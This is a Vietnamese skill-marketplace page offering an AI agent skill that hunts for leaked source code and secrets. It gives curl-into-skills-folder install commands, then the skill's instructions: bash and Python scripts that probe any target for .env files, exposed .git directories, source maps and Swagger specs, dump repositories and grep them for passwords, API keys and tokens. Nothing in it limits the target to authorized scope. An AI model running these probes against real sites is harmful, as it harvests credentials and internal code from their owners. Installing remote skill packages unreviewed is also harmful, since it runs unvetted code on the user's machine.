hunt-source-leak – skill Lập trình cho agent AI
Săn lỗ hổng rò rỉ mã nguồn và artifact build: source map JavaScript (.js.map) khôi phục mã TypeScript/ES6, phát hiện endpoint Swagger/OpenAPI JSON, lộ .env/.git, chunk webpack chứa bí mật hardcode, thu thập thông tin qua robots.txt/security.txt, file build-info, phát hiện route API qua asset-manifest.json, file .DS_Store
Cài skill hunt-source-leak bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-source-leak-ca869.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-source-leak – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-source-leak-ca869.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-source-leak – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-source-leak-ca869.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-source-leak – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-source-leak-ca869.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-source-leak – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
Crown Jewel Targets
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
Highest-value findings:
.js.mapsource maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypassesswagger.json/openapi.json— complete REST API specification with all endpoints, parameters, auth schemes, and internal route names.env/.env.production— APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext.git/exposure —git clonethe entire source history → all past hardcoded secretsasset-manifest.json/_next/static/— all JS bundle paths → systematic source map discoverybuild-info/info.json— git commit hash, build timestamp, dependency versions → CVE targeting
---
Pitfalls (Read Before Probes)
1. Fake Source Maps — HTML Serving as .map
Some SPAs (Angular/React on nginx) serve their index.html for any unhandled route, including .js.map URLs. The URL ends in .map and returns HTTP 200, but the content is HTML — not JSON.
Detect before processing:
# First 80 bytes tell the story
head -c 80 /tmp/map_file
# "<!DOCTYPE" or "<html" = faux map (SPA serving HTML)
# "{" or ")))}" = real source map
python3 -c "
with open('/tmp/map_file') as f:
d = f.read()
if d.strip().startswith('{'): print('Real source map')
elif '<!DOCTYPE' in d or '<html' in d: print('FAUX — SPA serving HTML')
else: print(f'Unknown, first 80b: {repr(d[:80])}')
"Fallback: Download raw JS bundles and grep directly (Phase 8).
2. BusyBox / Alpine grep -P
On minimal containers (Alpine Linux), grep -P (Perl-compatible regex) is NOT available. This affects Phase 2 Step 2, Phase 7, and swagger extraction. Use Python3 re instead:
# Instead of: grep -Eo 'pattern' file
python3 -c "import sys, re; print(*(re.findall(r'pattern', sys.stdin.read())), sep='\n')" < file3. crt.sh Rate Limiting
The crt.sh API rate-limits aggressively — queries too close together return empty JSON/timeouts. Wait 10-15s between queries. Use &limit=20 to reduce response size: https://crt.sh/?q=%25.TARGET&output=json&limit=20
---
Phase 1 — Quick Wins (Run First)
# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done---
Phase 2 — Source Map Discovery
See references/react-api-extraction.md for the full React SPA source-map API extraction pipeline.
# Step 1: Get asset manifest to find all JS bundle paths
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
# Next.js
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"\K[^"]+')
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl --max-time 30 --connect-timeout 10 -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl --max-time 30 --connect-timeout 10 -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20---
Phase 3 — Swagger / OpenAPI Discovery
# Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done---
Phase 4 — .git Exposure
# Check if .git directory is accessible
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50---
Phase 5 — Forgotten Files & Debug Endpoints
# Build artifacts and debug files
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done---
Phase 6 — .DS_Store File Listing
# .DS_Store files on macOS-deployed web servers reveal directory structure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.DS_Store" | xxd | head -10
# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"---
Phase 7 — webpack Chunk Analysis
⚠ BusyBox/Alpine: Skip grep -Eo below — use Python3 re instead (see Pitfalls section).
# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET$chunk" | \
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
# Also grep for internal hostnames
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/static/js/main.*.js" | \
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
# Check for Base64-encoded secrets
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/static/js/m… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- azure-storage-blob-rust – SDK Azure Blob Storage cho Rust. Dùng để tải lên, tải xuống và quản lý blob cùng…
- azure-storage-queue-rust – Thư viện Azure Queue Storage cho Rust. Gửi, nhận và quản lý tin nhắn hàng đợi. Kích hoạt…
- site-architecture – Khi người dùng muốn lên kế hoạch, lập bản đồ hoặc tái cấu trúc cấu trúc phân cấp trang…
- babysit-pr – Theo sát pull request qua các vòng review của bot: kiểm tra, sửa, trả lời, đánh dấu đã…
- backend-architect – Kiến trúc sư backend chuyên về thiết kế API có khả năng mở rộng, kiến trúc microservices…
- backend-dev-guidelines – Bạn là kỹ sư backend cao cấp vận hành các dịch vụ production theo ràng buộc nghiêm ngặt…
- backend-development-feature-development – Điều phối phát triển tính năng backend từ đầu đến cuối, từ yêu cầu đến triển khai. Dùng…
- backend-security-coder – Chuyên gia viết mã backend an toàn, chuyên về kiểm tra đầu vào, xác thực và bảo mật API…